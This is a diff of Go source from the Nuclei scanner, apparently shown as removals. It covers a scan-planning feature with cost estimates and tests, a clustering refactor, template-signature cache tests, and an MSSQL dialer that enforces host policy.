// httpRequestSeconds is the time of one http request the plan costs are
// weighted against (see core.PlanEntry.Cost).
const httpRequestSeconds = 0.015
// planSummary is the last line of a plan file, written once every entry is
// known.
type planSummary struct {
Entries int `json:"entries"`
// Alternatives are entries that run only when another of their origin
// fails, so they are left out of every other total.
Alternatives int `json:"alternatives,omitempty"`
Requests int `json:"requests"`
Cost int `json:"cost"`
// EstimatedSeconds is the largest of the time the rate limit allows, the
// cost spread over every concurrent slot, and the longest entry, whose
// requests run one after another. Hosts slower than the measured request
// time make the scan take longer.
EstimatedSeconds int `json:"estimated-seconds"`
}
// writePlan writes one JSON line per unit of work the scan would run,
// followed by the summary. Targets are listed as given: inputs that the scan
// would probe to an http url first are not probed here, since probing sends
// requests.
func (r *Runner) writePlan(store *loader.Store, engine *core.Engine) error {
if !r.options.DisableHTTPProbe && loader.IsHTTPBasedProtocolUsed(store) && r.isInputNonHTTP() {
r.Logger.Info().Msgf("Targets without a scheme are planned as given; the scan probes them for http(s) first")
}
file, err := os.Create(r.options.PlanFile)
if err != nil {
return err
}
defer func() { _ = file.Close() }()
writer := bufio.NewWriter(file)
encoder := json.NewEncoder(writer)
var summary planSummary
var headlessCost, longest int
var encodeErr error
engine.Plan(slices.Concat(store.Templates(), store.Workflows()), r.inputProvider, r.options.DisableClustering, func(entry core.PlanEntry) {
if encodeErr != nil {
return
}
encodeErr = encoder.Encode(entry)
if entry.AlternativeTo != "" {
summary.Alternatives++
return
}
summary.Entries++
summary.Requests += entry.Requests
summary.Cost += entry.Cost
longest = max(longest, entry.Cost)
if entry.Protocol == types.HeadlessProtocol.String() {
headlessCost += entry.Cost
}
})
if encodeErr != nil {
return encodeErr
}
summary.EstimatedSeconds = r.estimateSeconds(summary.Requests, summary.Cost-headlessCost, headlessCost, longest)
if err := encoder.Encode(map[string]planSummary{"summary": summary}); err != nil {
return err
}
if err := writer.Flush(); err != nil {
return err
}
r.Logger.Info().Msgf("Plan written to %s: %d template runs, up to %d requests, about %ds", r.options.PlanFile, summary.Entries, summary.Requests, summary.EstimatedSeconds)
return nil
}
// estimateSeconds estimates the scan duration. Headless templates run in
// their own, smaller pool, so their cost is spread over it separately.
func (r *Runner) estimateSeconds(requests, cost, headlessCost, longest int) int {
seconds := float64(longest) * httpRequestSeconds
if r.options.RateLimit > 0 && r.options.RateLimitDuration > 0 {
seconds = max(seconds, float64(requests)/(float64(r.options.RateLimit)/r.options.RateLimitDuration.Seconds()))
}
if slots := r.options.TemplateThreads * r.options.BulkSize; slots > 0 {
seconds = max(seconds, float64(cost)*httpRequestSeconds/float64(slots))
}
if slots := r.options.HeadlessTemplateThreads * r.options.HeadlessBulkSize; slots > 0 {
seconds = max(seconds, float64(headlessCost)*httpRequestSeconds/float64(slots))
}
return int(seconds + 0.5)
}
-26
View File
@@ -1,26 +0,0 @@
package runner
import (
"testing"
"github.com/projectdiscovery/goflags"
"github.com/projectdiscovery/nuclei/v3/pkg/types"
"github.com/stretchr/testify/require"
)
func TestPlanRejectsOptionsThatChangeTargetsLater(t *testing.T) {
for name, options := range map[string]*types.Options{
"automatic scan": {PlanFile: "p", AutomaticScan: true},
"uncover": {PlanFile: "p", Uncover: true},
"uncover query": {PlanFile: "p", UncoverQuery: goflags.StringSlice{"example"}},
"preflight": {PlanFile: "p", PreflightPortScan: true},
"dast server": {PlanFile: "p", DASTServer: true},
"dast proxy": {PlanFile: "p", DASTProxy: true},
} {
require.Error(t, validatePlanOptions(options), name)
}
require.NoError(t, validatePlanOptions(&types.Options{PlanFile: "p"}))
require.NoError(t, validatePlanOptions(&types.Options{Uncover: true}), "only -plan restricts them")
require.NoError(t, validatePlanOptions(&types.Options{UncoverQuery: goflags.StringSlice{"example"}}))
require.NoError(t, validatePlanOptions(&types.Options{DASTServer: true}))
}
-24
View File
@@ -1,24 +0,0 @@
package runner
import (
"testing"
"time"
"github.com/projectdiscovery/nuclei/v3/pkg/types"
"github.com/stretchr/testify/require"
)
func TestEstimateSecondsTakesTheSlowestBound(t *testing.T) {
r := &Runner{options: &types.Options{
RateLimit: 150, RateLimitDuration: time.Second,
TemplateThreads: 25, BulkSize: 25,
HeadlessTemplateThreads: 10, HeadlessBulkSize: 10,
}}
require.Equal(t, 20, r.estimateSeconds(3000, 3000, 0, 12), "rate limit bound")
require.Equal(t, 10, r.estimateSeconds(52, 41, 660, 660), "one long entry runs its requests in sequence")
require.Equal(t, 9, r.estimateSeconds(100, 0, 60000, 60), "headless cost spreads over the headless pool")
r.options.RateLimit = 0
require.Equal(t, 0, r.estimateSeconds(3000, 3000, 0, 1), "no rate limit, cost spread over 625 slots")
}
+9 -29
View File
@@ -147,18 +147,10 @@ func New(options *types.Options) (*Runner, error) {
// Version check by default
if config.DefaultConfig.CanCheckForUpdates() {
// -plan sends no request it can avoid, so it skips the version and
// update checks; it still installs templates on a fresh setup, which
// would otherwise plan nothing
checkUpdates := options.PlanFile == ""
var latestIgnoreHash string
if checkUpdates {
var versionCheckErr error
latestIgnoreHash, versionCheckErr = installer.NucleiVersionCheck()
if versionCheckErr != nil {
if options.Verbose || options.Debug {
runner.Logger.Error().Msgf("nuclei version check failed got: %s\n", versionCheckErr)
}
latestIgnoreHash, versionCheckErr := installer.NucleiVersionCheck()
if versionCheckErr != nil {
if options.Verbose || options.Debug {
runner.Logger.Error().Msgf("nuclei version check failed got: %s\n", versionCheckErr)
}
}
@@ -179,19 +171,17 @@ func New(options *types.Options) (*Runner, error) {
if err := tm.FreshInstallIfNotExists(); err != nil {
runner.Logger.Warning().Msgf("Failed to install nuclei templates: %s\n", err)
}
if checkUpdates {
if err := tm.UpdateIfOutdated(); err != nil {
runner.Logger.Warning().Msgf("Failed to update nuclei templates: %s\n", err)
}
if err := tm.UpdateIfOutdated(); err != nil {
runner.Logger.Warning().Msgf("Failed to update nuclei templates: %s\n", err)
}
if checkUpdates && config.DefaultConfig.IgnoreFileNeedsUpdate(latestIgnoreHash) {
if config.DefaultConfig.IgnoreFileNeedsUpdate(latestIgnoreHash) {
if err := installer.UpdateIgnoreFile(); err != nil {
runner.Logger.Warning().Msgf("Failed to update .nuclei-ignore file: %s\n", err)
}
}
if checkUpdates && options.UpdateTemplates {
if options.UpdateTemplates {
// we automatically check for updates unless explicitly disabled
// this print statement is only to inform the user that there are no updates
noUpdates := !config.DefaultConfig.NeedsTemplateUpdate()
@@ -602,13 +592,8 @@ func (r *Runner) RunEnumeration() error {
httpclientpool.ResetConnectionStats()
// If the user has asked for DAST server mode, run the live
// DAST fuzzing server. -plan never reaches this with those flags set:
// validation rejects the combination, and this check covers a caller
// that skipped it.
// DAST fuzzing server.
if r.options.DASTServer || r.options.DASTProxy {
if err := validatePlanOptions(r.options); err != nil {
return err
}
execurOpts := &server.NucleiExecutorOptions{
Options: r.options,
Output: r.output,
@@ -832,11 +817,6 @@ func (r *Runner) RunEnumeration() error {
profiles.Prepare(slices.Concat(store.Templates(), store.Workflows()))
executorOpts.TargetScope = profiles
}
// before uncover, preflight, auth prefetch and probing below, all of which
// reach the network
if r.options.PlanFile != "" {
return r.writePlan(store, executorEngine)
}
// TODO: remove below functions after v3 or update warning messages
templates.PrintDeprecatedProtocolNameMsgIfApplicable(r.options.Silent, r.options.Verbose)
-29
View File
@@ -38,35 +38,6 @@ func TestCreateReportingOptions(t *testing.T) {
require.Equal(t, resultOptions2.DenyList.Severities, resultOptions.DenyList.Severities)
}
func TestCreateReportingOptionsCSVExport(t *testing.T) {
t.Run("flag only", func(t *testing.T) {
resultOptions, err := createReportingOptions(&types.Options{CSVExport: "out.csv", OmitRawRequests: true})
require.NoError(t, err)
require.NotNil(t, resultOptions.CSVExporter)
require.Equal(t, "out.csv", resultOptions.CSVExporter.File)
require.True(t, resultOptions.CSVExporter.OmitRaw)
})
t.Run("flag is not set", func(t *testing.T) {
resultOptions, err := createReportingOptions(&types.Options{})
require.NoError(t, err)
require.Nil(t, resultOptions.CSVExporter)
})
t.Run("flag takes precedence over config file", func(t *testing.T) {
config := filepath.Join(t.TempDir(), "report.yaml")
require.NoError(t, os.WriteFile(config, []byte("csv:\n file: from-config.csv\n"), 0o600))
resultOptions, err := createReportingOptions(&types.Options{ReportingConfig: config})
require.NoError(t, err)
require.Equal(t, "from-config.csv", resultOptions.CSVExporter.File)
resultOptions, err = createReportingOptions(&types.Options{ReportingConfig: config, CSVExport: "from-flag.csv"})
require.NoError(t, err)
require.Equal(t, "from-flag.csv", resultOptions.CSVExporter.File)
})
}
type TestStruct1 struct {
A string `yaml:"a"`
Struct *TestStruct2 `yaml:"b"`
-128
View File
@@ -2,7 +2,6 @@ package loader
import (
"bytes"
"crypto/sha256"
"os"
"path/filepath"
"reflect"
@@ -20,7 +19,6 @@ import (
"github.com/projectdiscovery/nuclei/v3/pkg/loader/workflow"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols"
"github.com/projectdiscovery/nuclei/v3/pkg/templates"
templatesigner "github.com/projectdiscovery/nuclei/v3/pkg/templates/signer"
"github.com/projectdiscovery/nuclei/v3/pkg/utils"
"github.com/projectdiscovery/nuclei/v3/pkg/utils/stats"
"github.com/stretchr/testify/require"
@@ -687,135 +685,9 @@ http:
loaded := loadSingleTemplateForTest(t, templatePath, "loader-unsigned-flow-template")
require.Len(t, loaded, 1)
require.Equal(t, "unsigned-flow-template", loaded[0].ID)
require.False(t, loaded[0].Verified)
require.Equal(t, initialUnverifiedJavascript, stats.GetValue(templates.SkippedUnverifiedJavascriptTemplateStats))
}
func contentDigestForLoaderTest(data []byte) [32]byte {
dataDigest := sha256.Sum256(data)
return sha256.Sum256(dataDigest[:])
}
func loadTemplateWithPoisonedMetadata(t *testing.T, templatePath, executionID string, source []byte, disableUnsigned bool) []*templates.Template {
t.Helper()
fileInfo, err := os.Stat(templatePath)
require.NoError(t, err)
metadataIndex, err := metadataindex.NewIndex(t.TempDir())
require.NoError(t, err)
metadataIndex.Set(templatePath, &metadataindex.Metadata{
ID: "poisoned",
FilePath: templatePath,
ModTime: fileInfo.ModTime(),
Name: "Poisoned",
Authors: []string{"pdteam"},
Severity: "info",
Verified: true,
TemplateVerifier: "projectdiscovery/nuclei-templates",
VerifierFingerprint: templatesigner.DefaultTemplateVerifiers[0].Fingerprint(),
ContentDigest: contentDigestForLoaderTest(source),
Validation: metadataindex.ValidationStrict,
})
options := testutils.DefaultOptions.Copy()
options.Logger = &gologger.Logger{}
options.ExecutionId = executionID
options.DisableUnsignedTemplates = disableUnsigned
options.TemplateLoadingConcurrency = 1
testutils.Init(options)
t.Cleanup(func() {
testutils.Cleanup(options)
})
catalog := disk.NewCatalog("")
executerOpts := testutils.NewMockExecuterOptions(options, nil)
executerOpts.Catalog = catalog
executerOpts.Parser = templates.NewParser()
executerOpts.Logger = options.Logger
workflowLoader, err := workflow.NewLoader(executerOpts)
require.NoError(t, err)
executerOpts.WorkflowLoader = workflowLoader
loaderConfig := NewConfig(options, catalog, executerOpts)
loaderConfig.MetadataIndex = metadataIndex
store, err := New(loaderConfig)
require.NoError(t, err)
loaded, err := store.LoadTemplates([]string{templatePath})
require.NoError(t, err)
return loaded
}
func TestLoadTemplatesIgnoresSelfConsistentCacheForJavascript(t *testing.T) {
templatePath := filepath.Join(t.TempDir(), "poisoned-javascript.yaml")
source := []byte(`id: poisoned-cached-javascript
info:
name: Poisoned Cached Javascript
author: pdteam
severity: info
javascript:
- init: |
set("init-status", "executed")
code: |
Export("poisoned-cached-javascript")
`)
require.NoError(t, os.WriteFile(templatePath, source, 0o600))
loaded := loadTemplateWithPoisonedMetadata(t, templatePath, "loader-poisoned-javascript", source, false)
require.Empty(t, loaded)
}
func TestLoadTemplatesAllowsUnsignedFlowDespitePoisonedCache(t *testing.T) {
templatePath := filepath.Join(t.TempDir(), "poisoned-flow.yaml")
source := []byte(`id: poisoned-cached-flow
info:
name: Poisoned Cached Flow
author: pdteam
severity: info
flow: http(1)
http:
- method: GET
path:
- "{{BaseURL}}"
`)
require.NoError(t, os.WriteFile(templatePath, source, 0o600))
loaded := loadTemplateWithPoisonedMetadata(t, templatePath, "loader-poisoned-flow", source, false)
require.Len(t, loaded, 1)
require.Equal(t, "poisoned-cached-flow", loaded[0].ID)
require.False(t, loaded[0].Verified)
require.True(t, loaded[0].IsFlowTemplate())
}
func TestLoadTemplatesSkipsPoisonedHttpWhenUnsignedDisabled(t *testing.T) {
templatePath := filepath.Join(t.TempDir(), "poisoned-http.yaml")
source := []byte(`id: poisoned-cached-http
info:
name: Poisoned Cached HTTP
author: pdteam
severity: info
http:
- method: GET
path:
- "{{BaseURL}}"
`)
require.NoError(t, os.WriteFile(templatePath, source, 0o600))
initialUnverified := stats.GetValue(templates.SkippedUnverifiedTemplateStats)
loaded := loadTemplateWithPoisonedMetadata(t, templatePath, "loader-poisoned-http-dut", source, true)
require.Empty(t, loaded)
require.Equal(t, initialUnverified+1, stats.GetValue(templates.SkippedUnverifiedTemplateStats))
}
func TestLoadTemplatesDoesNotRequireGlobalMatchersFlagToLoadTemplate(t *testing.T) {
templatePath := filepath.Join(t.TempDir(), "global-matchers.yaml")
err := os.WriteFile(templatePath, []byte(`id: global-matchers-template
+13 -15
View File
@@ -38,7 +38,19 @@ func (e *Engine) ExecuteScanWithOpts(ctx context.Context, templatesList []*templ
totalReqBeforeCluster := getRequestCount(templatesList) * int(target.Count())
finalTemplates, clusterCount := e.clusterTemplates(templatesList, noCluster)
// attempt to cluster templates if noCluster is false
var finalTemplates []*templates.Template
clusterCount := 0
if !noCluster {
var clusterMappings map[string][]string
finalTemplates, clusterCount, clusterMappings = templates.ClusterTemplates(templatesList, e.executerOpts)
// Store cluster mappings in executerOpts for SDK access (thread-safe)
if clusterMappings != nil {
e.executerOpts.ClusterMappings = types.NewClusterMappingsMap(clusterMappings)
}
} else {
finalTemplates = templatesList
}
totalReqAfterClustering := getRequestCount(finalTemplates) * int(target.Count())
@@ -174,20 +186,6 @@ func (e *Engine) executeHostSpray(ctx context.Context, templatesList []*template
return results
}
// clusterTemplates merges templates that send identical requests unless
// noCluster is set, and returns the templates to run with the number merged.
func (e *Engine) clusterTemplates(templatesList []*templates.Template, noCluster bool) ([]*templates.Template, int) {
if noCluster {
return templatesList, 0
}
finalTemplates, clusterCount, clusterMappings := templates.ClusterTemplates(templatesList, e.executerOpts)
// Store cluster mappings in executerOpts for SDK access (thread-safe)
if clusterMappings != nil {
e.executerOpts.ClusterMappings = types.NewClusterMappingsMap(clusterMappings)
}
return finalTemplates, clusterCount
}
// expectedWork returns the requests and the tasks the target-bound templates
// will run. It counts only the template and target pairs that per-target
// profiles select, so progress reflects the work that will be done. A task is
+6 -15
View File
@@ -382,19 +382,6 @@ func newOriginAttempt() *originAttempt {
return attempt
}
// originScopeKey returns the key an origin-scoped template runs once per, and
// false when the template runs on every target.
func originScopeKey(template *templates.Template, value *contextargs.MetaInput) (string, bool) {
if template == nil || value == nil || !template.IsOriginScoped() {
return "", false
}
origin := normalize.Origin(value.Input)
if origin == "" {
return "", false
}
return template.ID + "\x00" + origin + "\x00" + value.CustomIP, true
}
// claimOriginScoped reports whether this caller should execute an origin-scoped
// template. finish(true) records a successful run. finish(false) releases the
// claim so a later target, including one that waited, can try again. Templates
@@ -402,10 +389,14 @@ func originScopeKey(template *templates.Template, value *contextargs.MetaInput)
// key so each address selected for one URL is tested on its own.
func (e *Engine) claimOriginScoped(template *templates.Template, value *contextargs.MetaInput) (finish func(bool), run bool) {
noop := func(bool) {}
key, scoped := originScopeKey(template, value)
if !scoped {
if template == nil || value == nil || !template.IsOriginScoped() {
return noop, true
}
origin := normalize.Origin(value.Input)
if origin == "" {
return noop, true
}
key := template.ID + "\x00" + origin + "\x00" + value.CustomIP
actual, _ := e.originScoped.LoadOrStore(key, newOriginAttempt())
slot := actual.(*originAttempt)
-156
View File
@@ -1,156 +0,0 @@
package core
import (
"crypto/sha256"
"encoding/hex"
"slices"
"strings"
"github.com/projectdiscovery/nuclei/v3/pkg/input/provider"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs"
"github.com/projectdiscovery/nuclei/v3/pkg/templates"
"github.com/projectdiscovery/nuclei/v3/pkg/templates/types"
)
// PlanEntry is one unit of work a scan runs: a template, a cluster of
// templates sharing one request, or a workflow, on one target.
type PlanEntry struct {
// ID identifies the entry across runs of the same plan.
ID string `json:"id"`
// Target is empty for self-contained templates, which run once.
Target string `json:"target,omitempty"`
// IP is the address the target is pinned to, when it is.
IP string `json:"ip,omitempty"`
Templates []string `json:"templates"`
Protocol string `json:"protocol"`
// Requests is what the templates declare, the count -stats starts from.
// The scan sends fewer when a request needs a value the target lacks,
// such as {{DN}} on an ip.
Requests int `json:"requests"`
// Cost is Requests weighted by how long one request of the protocol
// takes, in http requests.
Cost int `json:"cost"`
// Dynamic marks entries whose requests depend on responses: workflows
// (only the root is counted), flows and fuzzing.
Dynamic bool `json:"dynamic,omitempty"`
// AlternativeTo is the id of an entry running the same origin-scoped
// template on the same origin. Workers race for an origin, so the scan
// runs whichever of the group claims it first, and another only when
// that run fails. Totals count the group once.
AlternativeTo string `json:"alternative-to,omitempty"`
}
// Plan reports the work ExecuteScanWithOpts would do with the same arguments,
// without sending anything. It applies the same clustering, per-target
// profiles and once-per-origin rule, so a pair is listed only if the scan
// would run it. Later targets of an origin-scoped template are listed as
// alternatives to the first, since the scan retries them when a run fails.
func (e *Engine) Plan(templatesList []*templates.Template, target provider.InputProvider, noCluster bool, emit func(PlanEntry)) {
finalTemplates, _ := e.clusterTemplates(templatesList, noCluster)
// clustering does not keep an order; a plan is diffed and edited, so it does
finalTemplates = slices.SortedFunc(slices.Values(finalTemplates), func(a, b *templates.Template) int {
return strings.Compare(a.ID, b.ID)
})
var targetBound []*templates.Template
for _, template := range finalTemplates {
if template.SelfContained {
emit(withPlanID(planEntry(template, &contextargs.MetaInput{}, nil)))
} else {
targetBound = append(targetBound, template)
}
}
// entries are emitted as they are planned, so memory does not grow with
// the plan; only the first id per origin is kept
originIDs := make(map[string]string)
target.Iterate(func(value *contextargs.MetaInput) bool {
selection := e.selectionFor(value)
for _, template := range targetBound {
if selection != nil && !template.SelectedBy(selection) {
continue
}
entry := withPlanID(planEntry(template, value, selection))
if key, scoped := originScopeKey(template, value); scoped {
if id, seen := originIDs[key]; seen {
entry.AlternativeTo = id
} else {
originIDs[key] = entry.ID
}
}
emit(entry)
}
return true
})
}
func withPlanID(entry PlanEntry) PlanEntry {
entry.ID = planEntryID(entry)
return entry
}
// protocolCost is how many http requests one request of a protocol is worth
// in time. Measured per call against a CDN-fronted site, where an http
// request took about 15ms: a javascript call adds about 150ms of runtime, a
// headless page load with waitload took about 1s. Unlisted protocols cost
// about one round trip, like http.
var protocolCost = map[types.ProtocolType]int{
types.JavascriptProtocol: 10,
types.HeadlessProtocol: 60,
}
func planEntry(template *templates.Template, value *contextargs.MetaInput, selection protocols.TemplateSelection) PlanEntry {
entry := PlanEntry{
Target: value.Input,
IP: value.CustomIP,
Templates: []string{template.ID},
Protocol: template.Type().String(),
Requests: template.TotalRequests,
Dynamic: template.Flow != "" || template.IsFuzzableRequest(),
}
weight := func(protocol types.ProtocolType) int { return max(protocolCost[protocol], 1) }
switch {
case template.CompiledWorkflow != nil:
// only the root of a workflow is certain to run; subtemplates depend
// on what it matches
entry.Requests = 0
for _, workflow := range template.CompiledWorkflow.Workflows {
for _, executer := range workflow.Executers {
requests := executer.Executer.Requests()
entry.Requests += requests
entry.Cost += requests * weight(executer.TemplateType)
}
}
entry.Dynamic = true
case isCluster(template):
cluster := template.Executer.(*templates.ClusterExecuter)
entry.Templates = slices.Sorted(slices.Values(cluster.TemplateIDs(selection)))
// TotalRequests of a cluster counts only its http and dns requests,
// so an ssl cluster would show none
entry.Requests = cluster.Requests()
entry.Cost = entry.Requests * weight(template.Type())
case len(template.RequestsQueue) > 0:
// each block is weighted by its own protocol, so a template mixing
// http with javascript is not priced as all http
for _, request := range template.RequestsQueue {
entry.Cost += request.Requests() * weight(request.Type())
}
default:
entry.Cost = entry.Requests * weight(template.Type())
}
return entry
}
func isCluster(template *templates.Template) bool {
_, ok := template.Executer.(*templates.ClusterExecuter)
return ok
}
// planEntryID derives the id from what the entry runs, so planning the same
// scan again yields the same ids.
func planEntryID(entry PlanEntry) string {
sum := sha256.Sum256([]byte(entry.Target + "\x00" + entry.IP + "\x00" + strings.Join(entry.Templates, "\x00")))
return hex.EncodeToString(sum[:8])
}
-156
View File
@@ -1,156 +0,0 @@
package core
import (
"context"
"sync"
"testing"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http"
"github.com/projectdiscovery/nuclei/v3/pkg/templates"
tmpltypes "github.com/projectdiscovery/nuclei/v3/pkg/templates/types"
"github.com/projectdiscovery/nuclei/v3/pkg/types"
"github.com/stretchr/testify/require"
)
func TestPlanEntryCostWeightsByProtocol(t *testing.T) {
headless := &templates.Template{ID: "h", RequestsHeadless: []*headless.Request{{}}, TotalRequests: 2}
require.Equal(t, 120, planEntry(headless, &contextargs.MetaInput{Input: "t"}, nil).Cost)
plain := &templates.Template{ID: "p", TotalRequests: 2}
require.Equal(t, 2, planEntry(plain, &contextargs.MetaInput{Input: "t"}, nil).Cost, "unlisted protocols cost one request each")
}
// countedRequest is a request block with a fixed protocol and count.
type countedRequest struct {
protocols.Request
protocol tmpltypes.ProtocolType
requests int
}
func (r countedRequest) Type() tmpltypes.ProtocolType { return r.protocol }
func (r countedRequest) Requests() int { return r.requests }
func TestPlanEntryWeightsEachProtocolBlock(t *testing.T) {
// one http request and ten javascript calls: Type() reports http for the
// whole template, which would price it as 11
mixed := &templates.Template{
ID: "mixed",
RequestsHTTP: []*http.Request{{}},
TotalRequests: 11,
RequestsQueue: []protocols.Request{
countedRequest{protocol: tmpltypes.HTTPProtocol, requests: 1},
countedRequest{protocol: tmpltypes.JavascriptProtocol, requests: 10},
},
}
entry := planEntry(mixed, &contextargs.MetaInput{Input: "t"}, nil)
require.Equal(t, 11, entry.Requests)
require.Equal(t, 101, entry.Cost)
}
func TestPlanListsThePairsTheScanRuns(t *testing.T) {
options := &types.Options{BulkSize: 2, TemplateThreads: 2, HeadlessBulkSize: 1, HeadlessTemplateThreads: 1}
engine := New(options)
engine.SetExecuterOptions(&protocols.ExecutorOptions{
Logger: engine.Logger,
Options: options,
ResumeCfg: types.NewResumeCfg(),
ProtocolType: tmpltypes.HTTPProtocol,
Progress: &progressRecorder{},
TargetScope: scopeByInput{
"php": {paths: []string{"thinkphp.yaml"}},
"none": {},
},
})
var (
mu sync.Mutex
runs []string
)
var templatesList []*templates.Template
for _, path := range []string{"thinkphp.yaml", "generic.yaml"} {
templatesList = append(templatesList, &templates.Template{
ID: path,
Path: path,
TotalRequests: 3,
Executer: &recordingExecuter{path: path, mu: &mu, runs: &runs},
})
}
selfContained := &templates.Template{ID: "self.yaml", Path: "self.yaml", SelfContained: true, TotalRequests: 1}
targets := &fakeTargetProvider{values: []*contextargs.MetaInput{{Input: "php"}, {Input: "none"}, {Input: "plain"}}}
var plan []PlanEntry
engine.Plan(append(templatesList, selfContained), targets, true, func(entry PlanEntry) { plan = append(plan, entry) })
require.Empty(t, plan[0].Target, "a self-contained template runs once, with no target")
require.Equal(t, []string{"self.yaml"}, plan[0].Templates)
var planned []string
ids := make(map[string]struct{})
for _, entry := range plan[1:] {
require.Equal(t, 3, entry.Requests)
planned = append(planned, entry.Templates[0]+"@"+entry.Target)
ids[entry.ID] = struct{}{}
}
require.Len(t, ids, len(plan)-1, "every entry has its own id")
var again []PlanEntry
engine.Plan(append(templatesList, selfContained), targets, true, func(entry PlanEntry) { again = append(again, entry) })
require.Equal(t, plan, again, "planning the same scan again yields the same entries and ids")
engine.ExecuteScanWithOpts(context.Background(), templatesList, targets, true)
require.ElementsMatch(t, runs, planned, "the plan lists exactly the pairs the scan runs")
require.ElementsMatch(t, []string{"thinkphp.yaml@php", "thinkphp.yaml@plain", "generic.yaml@plain"}, planned)
}
func TestPlanListsOriginAlternatives(t *testing.T) {
options := &types.Options{BulkSize: 1, TemplateThreads: 1, HeadlessBulkSize: 1, HeadlessTemplateThreads: 1}
engine := New(options)
engine.SetExecuterOptions(&protocols.ExecutorOptions{
Logger: engine.Logger,
Options: options,
ResumeCfg: types.NewResumeCfg(),
ProtocolType: tmpltypes.HTTPProtocol,
Progress: &progressRecorder{},
})
root := &templates.Template{
ID: "root.yaml",
RequestsHTTP: []*http.Request{{Path: []string{"{{RootURL}}/health"}}},
TotalRequests: 1,
}
require.True(t, root.IsOriginScoped())
generic := &templates.Template{ID: "generic.yaml", TotalRequests: 1}
targets := &fakeTargetProvider{values: []*contextargs.MetaInput{
{Input: "https://example.com/a"},
{Input: "https://example.com/b"},
{Input: "https://other.example/a"},
{Input: "https://example.com/a", CustomIP: "203.0.113.5"},
}}
var plan []PlanEntry
engine.Plan([]*templates.Template{generic, root}, targets, true, func(entry PlanEntry) {
plan = append(plan, entry)
})
var roots []PlanEntry
for _, entry := range plan {
if entry.Templates[0] == "root.yaml" {
roots = append(roots, entry)
}
}
require.Equal(t, []PlanEntry{
{ID: roots[0].ID, Target: "https://example.com/a", Templates: []string{"root.yaml"}, Protocol: "http", Requests: 1, Cost: 1},
{ID: roots[1].ID, Target: "https://example.com/b", Templates: []string{"root.yaml"}, Protocol: "http", Requests: 1, Cost: 1, AlternativeTo: roots[0].ID},
{ID: roots[2].ID, Target: "https://other.example/a", Templates: []string{"root.yaml"}, Protocol: "http", Requests: 1, Cost: 1},
{ID: roots[3].ID, Target: "https://example.com/a", IP: "203.0.113.5", Templates: []string{"root.yaml"}, Protocol: "http", Requests: 1, Cost: 1},
}, roots)
require.NotEqual(t, roots[0].ID, roots[3].ID, "a pinned address is its own attempt")
var again []PlanEntry
engine.Plan([]*templates.Template{generic, root}, targets, true, func(entry PlanEntry) {
again = append(again, entry)
})
require.Equal(t, plan, again)
}
+2
View File
@@ -8,6 +8,8 @@ import (
"fmt"
_ "github.com/microsoft/go-mssqldb"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate"
)
+16 -87
View File
@@ -9,58 +9,11 @@ import (
"net/url"
"strings"
gomssql "github.com/microsoft/go-mssqldb"
_ "github.com/microsoft/go-mssqldb"
"github.com/projectdiscovery/nuclei/v3/pkg/js/utils"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate"
)
// mssqlCustomDialer routes connection dialing through Nuclei's fastdialer.
// Implementing HostDialer ensures the driver delegates hostname resolution to the dialer
// rather than using the local OS net.LookupIP, keeping DNS resolution, scan proxies,
// and dial-time network policies strictly enforced.
type mssqlCustomDialer struct {
executionId string
host string
}
var _ gomssql.HostDialer = (*mssqlCustomDialer)(nil)
func (d *mssqlCustomDialer) DialContext(ctx context.Context, network, addr string) (net.Conn, error) {
dialers := protocolstate.GetDialersWithId(d.executionId)
if dialers == nil {
return nil, fmt.Errorf("dialers not initialized for %s", d.executionId)
}
targetHost, _, err := net.SplitHostPort(addr)
if err != nil {
targetHost = addr
}
if !protocolstate.IsHostAllowed(d.executionId, targetHost) {
return nil, protocolstate.ErrHostDenied.Msgf(targetHost)
}
return dialers.Fastdialer.Dial(ctx, network, addr)
}
func (d *mssqlCustomDialer) HostName() string {
return d.host
}
func openDB(executionId, target, username, password, dbName string) (*sql.DB, error) {
host, _, err := net.SplitHostPort(target)
if err != nil {
host = target
}
connString := mssqlConnString(target, username, password, dbName)
connector, err := gomssql.NewConnector(connString)
if err != nil {
return nil, err
}
connector.Dialer = &mssqlCustomDialer{
executionId: executionId,
host: host,
}
return sql.OpenDB(connector), nil
}
type (
// Client is a client for MS SQL database.
// Internally client uses microsoft/go-mssqldb driver.
@@ -114,7 +67,9 @@ func connect(ctx context.Context, executionId string, host string, port int, use
target := net.JoinHostPort(host, fmt.Sprintf("%d", port))
db, err := openDB(executionId, target, username, password, dbName)
connString := mssqlConnString(target, username, password, dbName)
db, err := sql.Open("sqlserver", connString)
if err != nil {
return false, err
}
@@ -124,7 +79,16 @@ func connect(ctx context.Context, executionId string, host string, port int, use
_, err = db.ExecContext(ctx, "select 1")
if err != nil {
if isNetworkError(err) {
switch {
case strings.Contains(err.Error(), "connect: connection refused"):
fallthrough
case strings.Contains(err.Error(), "no pg_hba.conf entry for host"):
fallthrough
case strings.Contains(err.Error(), "network unreachable"):
fallthrough
case strings.Contains(err.Error(), "reset"):
fallthrough
case strings.Contains(err.Error(), "i/o timeout"):
return false, err
}
return false, nil
@@ -132,42 +96,6 @@ func connect(ctx context.Context, executionId string, host string, port int, use
return true, nil
}
// isNetworkError reports whether an error indicates a network, dialer,
// timeout, or policy failure as opposed to a server-side authentication rejection.
func isNetworkError(err error) bool {
if err == nil {
return false
}
if errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) {
return true
}
var netErr net.Error
if errors.As(err, &netErr) {
return true
}
errStr := strings.ToLower(err.Error())
for _, marker := range []string{
"connection refused",
"actively refused",
"port closed",
"unable to open tcp connection",
"network unreachable",
"connection reset",
"i/o timeout",
"connection timed out",
"context canceled",
"deadline exceeded",
"dialers not initialized",
"network policy",
"host denied",
} {
if strings.Contains(errStr, marker) {
return true
}
}
return false
}
// IsMssql checks if the given host is running MS SQL database.
// If the host is running MS SQL database, it returns true.
// If the host is not running MS SQL database, it returns false.
@@ -228,8 +156,9 @@ func (c *MSSQLClient) ExecuteQuery(ctx context.Context, host string, port int, u
}
target := net.JoinHostPort(host, fmt.Sprintf("%d", port))
